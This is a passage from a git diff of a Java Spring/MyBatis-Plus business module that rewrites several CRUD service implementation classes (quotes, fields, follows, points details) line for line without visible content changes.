org.dromara.work.domain.vo.TpDesignQuotesVo; -import org.dromara.work.domain.TpDesignQuotes; -import org.dromara.work.mapper.TpDesignQuotesMapper; -import org.dromara.work.service.ITpDesignQuotesService; - -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * 报价Service业务层处理 - * - * @author Maosw - * @date 2025-03-10 - */ -@RequiredArgsConstructor -@Service -public class TpDesignQuotesServiceImpl implements ITpDesignQuotesService { - - private final TpDesignQuotesMapper baseMapper; - - /** - * 查询报价 - * - * @param id 主键 - * @return 报价 - */ - @Override - public TpDesignQuotesVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询报价列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 报价分页列表 - */ - @Override - public TableDataInfo queryPageList(TpDesignQuotesBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的报价列表 - * - * @param bo 查询条件 - * @return 报价列表 - */ - @Override - public List queryList(TpDesignQuotesBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpDesignQuotesBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.orderByAsc(TpDesignQuotes::getId); - lqw.eq(bo.getSid() != null, TpDesignQuotes::getSid, bo.getSid()); - lqw.like(StringUtils.isNotBlank(bo.getSName()), TpDesignQuotes::getSName, bo.getSName()); - lqw.like(StringUtils.isNotBlank(bo.getProjectName()), TpDesignQuotes::getProjectName, bo.getProjectName()); - lqw.like(StringUtils.isNotBlank(bo.getClientName()), TpDesignQuotes::getClientName, bo.getClientName()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TpDesignQuotes::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); - lqw.eq(StringUtils.isNotBlank(bo.getRemark()), TpDesignQuotes::getRemark, bo.getRemark()); - lqw.eq(bo.getTenant() != null, TpDesignQuotes::getTenant, bo.getTenant()); - return lqw; - } - - /** - * 新增报价 - * - * @param bo 报价 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpDesignQuotesBo bo) { - TpDesignQuotes add = MapstructUtils.convert(bo, TpDesignQuotes.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改报价 - * - * @param bo 报价 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpDesignQuotesBo bo) { - TpDesignQuotes update = MapstructUtils.convert(bo, TpDesignQuotes.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpDesignQuotes entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除报价信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpDesignQuotesBo; +import org.dromara.work.domain.vo.TpDesignQuotesVo; +import org.dromara.work.domain.TpDesignQuotes; +import org.dromara.work.mapper.TpDesignQuotesMapper; +import org.dromara.work.service.ITpDesignQuotesService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 报价Service业务层处理 + * + * @author Maosw + * @date 2025-03-10 + */ +@RequiredArgsConstructor +@Service +public class TpDesignQuotesServiceImpl implements ITpDesignQuotesService { + + private final TpDesignQuotesMapper baseMapper; + + /** + * 查询报价 + * + * @param id 主键 + * @return 报价 + */ + @Override + public TpDesignQuotesVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询报价列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 报价分页列表 + */ + @Override + public TableDataInfo queryPageList(TpDesignQuotesBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的报价列表 + * + * @param bo 查询条件 + * @return 报价列表 + */ + @Override + public List queryList(TpDesignQuotesBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpDesignQuotesBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpDesignQuotes::getId); + lqw.eq(bo.getSid() != null, TpDesignQuotes::getSid, bo.getSid()); + lqw.like(StringUtils.isNotBlank(bo.getSName()), TpDesignQuotes::getSName, bo.getSName()); + lqw.like(StringUtils.isNotBlank(bo.getProjectName()), TpDesignQuotes::getProjectName, bo.getProjectName()); + lqw.like(StringUtils.isNotBlank(bo.getClientName()), TpDesignQuotes::getClientName, bo.getClientName()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpDesignQuotes::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + lqw.eq(StringUtils.isNotBlank(bo.getRemark()), TpDesignQuotes::getRemark, bo.getRemark()); + lqw.eq(bo.getTenant() != null, TpDesignQuotes::getTenant, bo.getTenant()); + return lqw; + } + + /** + * 新增报价 + * + * @param bo 报价 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpDesignQuotesBo bo) { + TpDesignQuotes add = MapstructUtils.convert(bo, TpDesignQuotes.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改报价 + * + * @param bo 报价 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpDesignQuotesBo bo) { + TpDesignQuotes update = MapstructUtils.convert(bo, TpDesignQuotes.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpDesignQuotes entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除报价信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFieldServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFieldServiceImpl.java index 7a5996f..ec13c47 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFieldServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFieldServiceImpl.java @@ -1,120 +1,120 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpField; -import org.dromara.work.domain.bo.TpFieldBo; -import org.dromara.work.domain.vo.TpFieldVo; -import org.dromara.work.mapper.TpFieldMapper; -import org.dromara.work.service.ITpFieldService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 字段管理Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpFieldServiceImpl implements ITpFieldService { - - private final TpFieldMapper baseMapper; - - /** - * 查询字段管理 - * - * @param id 主键 - * @return 字段管理 - */ - @Override - public TpFieldVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询字段管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 字段管理分页列表 - */ - @Override - public TableDataInfo queryPageList(TpFieldBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的字段管理列表 - * - * @param bo 查询条件 - * @return 字段管理列表 - */ - @Override - public List queryList(TpFieldBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpFieldBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getType() != null, TpField::getType, bo.getType()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpField::getName, bo.getName()); - lqw.eq(bo.getAddTime() != null, TpField::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增字段管理 - * - * @param bo 字段管理 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpFieldBo bo) { - TpField add = MapstructUtils.convert(bo, TpField.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改字段管理 - * - * @param bo 字段管理 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpFieldBo bo) { - TpField update = MapstructUtils.convert(bo, TpField.class); - return baseMapper.updateById(update) > 0; - } - - - /** - * 校验并批量删除字段管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpField; +import org.dromara.work.domain.bo.TpFieldBo; +import org.dromara.work.domain.vo.TpFieldVo; +import org.dromara.work.mapper.TpFieldMapper; +import org.dromara.work.service.ITpFieldService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 字段管理Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpFieldServiceImpl implements ITpFieldService { + + private final TpFieldMapper baseMapper; + + /** + * 查询字段管理 + * + * @param id 主键 + * @return 字段管理 + */ + @Override + public TpFieldVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询字段管理列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 字段管理分页列表 + */ + @Override + public TableDataInfo queryPageList(TpFieldBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的字段管理列表 + * + * @param bo 查询条件 + * @return 字段管理列表 + */ + @Override + public List queryList(TpFieldBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpFieldBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getType() != null, TpField::getType, bo.getType()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpField::getName, bo.getName()); + lqw.eq(bo.getAddTime() != null, TpField::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增字段管理 + * + * @param bo 字段管理 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpFieldBo bo) { + TpField add = MapstructUtils.convert(bo, TpField.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改字段管理 + * + * @param bo 字段管理 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpFieldBo bo) { + TpField update = MapstructUtils.convert(bo, TpField.class); + return baseMapper.updateById(update) > 0; + } + + + /** + * 校验并批量删除字段管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFollowServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFollowServiceImpl.java index 93835c7..996b822 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFollowServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpFollowServiceImpl.java @@ -1,149 +1,149 @@ -package org.dromara.work.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.system.mapper.SysUserMapper; -import org.springframework.stereotype.Service; -import org.dromara.work.domain.bo.TpFollowBo; -import org.dromara.work.domain.vo.TpFollowVo; -import org.dromara.work.domain.TpFollow; -import org.dromara.work.mapper.TpFollowMapper; -import org.dromara.work.service.ITpFollowService; - -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * 关注Service业务层处理 - * - * @author Maosw - * @date 2025-07-23 - */ -@RequiredArgsConstructor -@Service -public class TpFollowServiceImpl implements ITpFollowService { - - private final TpFollowMapper baseMapper; - - private final SysUserMapper sysUserMapper; - - /** - * 查询关注 - * - * @param id 主键 - * @return 关注 - */ - @Override - public TpFollowVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询关注列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 关注分页列表 - */ - @Override - public TableDataInfo queryPageList(TpFollowBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - //获取用户对象 - result.getRecords().forEach( - r -> r.setToUser(sysUserMapper.selectById(r.getToUserId())) - ); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的关注列表 - * - * @param bo 查询条件 - * @return 关注列表 - */ - @Override - public List queryList(TpFollowBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpFollowBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.orderByAsc(TpFollow::getId); - lqw.eq(bo.getUserId() != null, TpFollow::getUserId, bo.getUserId()); - lqw.eq(bo.getToUserId() != null, TpFollow::getToUserId, bo.getToUserId()); - return lqw; - } - - /** - * 新增关注 - * - * @param bo 关注 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpFollowBo bo) { - TpFollow add = MapstructUtils.convert(bo, TpFollow.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改关注 - * - * @param bo 关注 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpFollowBo bo) { - TpFollow update = MapstructUtils.convert(bo, TpFollow.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpFollow entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除关注信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 查询关注 - * - * @param bo 查询条件 - * @return 关注 - */ - @Override - public TpFollowVo queryByTpFollow(TpFollowBo bo) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpFollow::getUserId, bo.getUserId()).eq(TpFollow::getToUserId, bo.getToUserId())); - } -} +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.system.mapper.SysUserMapper; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpFollowBo; +import org.dromara.work.domain.vo.TpFollowVo; +import org.dromara.work.domain.TpFollow; +import org.dromara.work.mapper.TpFollowMapper; +import org.dromara.work.service.ITpFollowService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 关注Service业务层处理 + * + * @author Maosw + * @date 2025-07-23 + */ +@RequiredArgsConstructor +@Service +public class TpFollowServiceImpl implements ITpFollowService { + + private final TpFollowMapper baseMapper; + + private final SysUserMapper sysUserMapper; + + /** + * 查询关注 + * + * @param id 主键 + * @return 关注 + */ + @Override + public TpFollowVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询关注列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 关注分页列表 + */ + @Override + public TableDataInfo queryPageList(TpFollowBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + //获取用户对象 + result.getRecords().forEach( + r -> r.setToUser(sysUserMapper.selectById(r.getToUserId())) + ); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的关注列表 + * + * @param bo 查询条件 + * @return 关注列表 + */ + @Override + public List queryList(TpFollowBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpFollowBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpFollow::getId); + lqw.eq(bo.getUserId() != null, TpFollow::getUserId, bo.getUserId()); + lqw.eq(bo.getToUserId() != null, TpFollow::getToUserId, bo.getToUserId()); + return lqw; + } + + /** + * 新增关注 + * + * @param bo 关注 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpFollowBo bo) { + TpFollow add = MapstructUtils.convert(bo, TpFollow.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改关注 + * + * @param bo 关注 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpFollowBo bo) { + TpFollow update = MapstructUtils.convert(bo, TpFollow.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpFollow entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除关注信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 查询关注 + * + * @param bo 查询条件 + * @return 关注 + */ + @Override + public TpFollowVo queryByTpFollow(TpFollowBo bo) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpFollow::getUserId, bo.getUserId()).eq(TpFollow::getToUserId, bo.getToUserId())); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpIntegralDetailServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpIntegralDetailServiceImpl.java index b9b139d..bd456d1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpIntegralDetailServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpIntegralDetailServiceImpl.java @@ -1,133 +1,133 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpIntegralDetail; -import org.dromara.work.domain.bo.TpIntegralDetailBo; -import org.dromara.work.domain.vo.TpIntegralDetailVo; -import org.dromara.work.mapper.TpIntegralDetailMapper; -import org.dromara.work.service.ITpIntegralDetailService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 积分明细Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpIntegralDetailServiceImpl implements ITpIntegralDetailService { - - private final TpIntegralDetailMapper baseMapper; - - /** - * 查询积分明细 - * - * @param id 主键 - * @return 积分明细 - */ - @Override - public TpIntegralDetailVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询积分明细列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 积分明细分页列表 - */ - @Override - public TableDataInfo queryPageList(TpIntegralDetailBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的积分明细列表 - * - * @param bo 查询条件 - * @return 积分明细列表 - */ - @Override - public List queryList(TpIntegralDetailBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpIntegralDetailBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getUid() != null, TpIntegralDetail::getUid, bo.getUid()); - lqw.eq(StringUtils.isNotBlank(bo.getTitle()), TpIntegralDetail::getTitle, bo.getTitle()); - lqw.eq(bo.getType() != null, TpIntegralDetail::getType, bo.getType()); - lqw.eq(bo.getPrice() != null, TpIntegralDetail::getPrice, bo.getPrice()); - lqw.eq(bo.getAddTime() != null, TpIntegralDetail::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增积分明细 - * - * @param bo 积分明细 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpIntegralDetailBo bo) { - TpIntegralDetail add = MapstructUtils.convert(bo, TpIntegralDetail.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改积分明细 - * - * @param bo 积分明细 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpIntegralDetailBo bo) { - TpIntegralDetail update = MapstructUtils.convert(bo, TpIntegralDetail.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpIntegralDetail entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除积分明细信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpIntegralDetail; +import org.dromara.work.domain.bo.TpIntegralDetailBo; +import org.dromara.work.domain.vo.TpIntegralDetailVo; +import org.dromara.work.mapper.TpIntegralDetailMapper; +import org.dromara.work.service.ITpIntegralDetailService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 积分明细Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpIntegralDetailServiceImpl implements ITpIntegralDetailService { + + private final TpIntegralDetailMapper baseMapper; + + /** + * 查询积分明细 + * + * @param id 主键 + * @return 积分明细 + */ + @Override + public TpIntegralDetailVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询积分明细列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 积分明细分页列表 + */ + @Override + public TableDataInfo queryPageList(TpIntegralDetailBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的积分明细列表 + * + * @param bo 查询条件 + * @return 积分明细列表 + */ + @Override + public List queryList(TpIntegralDetailBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpIntegralDetailBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getUid() != null, TpIntegralDetail::getUid, bo.getUid()); + lqw.eq(StringUtils.isNotBlank(bo.getTitle()), TpIntegralDetail::getTitle, bo.getTitle()); + lqw.eq(bo.getType() != null, TpIntegralDetail::getType, bo.getType()); + lqw.eq(bo.getPrice() != null, TpIntegralDetail::getPrice, bo.getPrice()); + lqw.eq(bo.getAddTime() != null, TpIntegralDetail::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增积分明细 + * + * @param bo 积分明细 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpIntegralDetailBo bo) { + TpIntegralDetail add = MapstructUtils.convert(bo, TpIntegralDetail.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改积分明细 + * + * @param bo 积分明细 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpIntegralDetailBo bo) { + TpIntegralDetail update = MapstructUtils.convert(bo, TpIntegralDetail.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpIntegralDetail entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除积分明细信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpMonthServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpMonthServiceImpl.java index 162dda5..bfbb12c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpMonthServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpMonthServiceImpl.java @@ -1,243 +1,243 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import 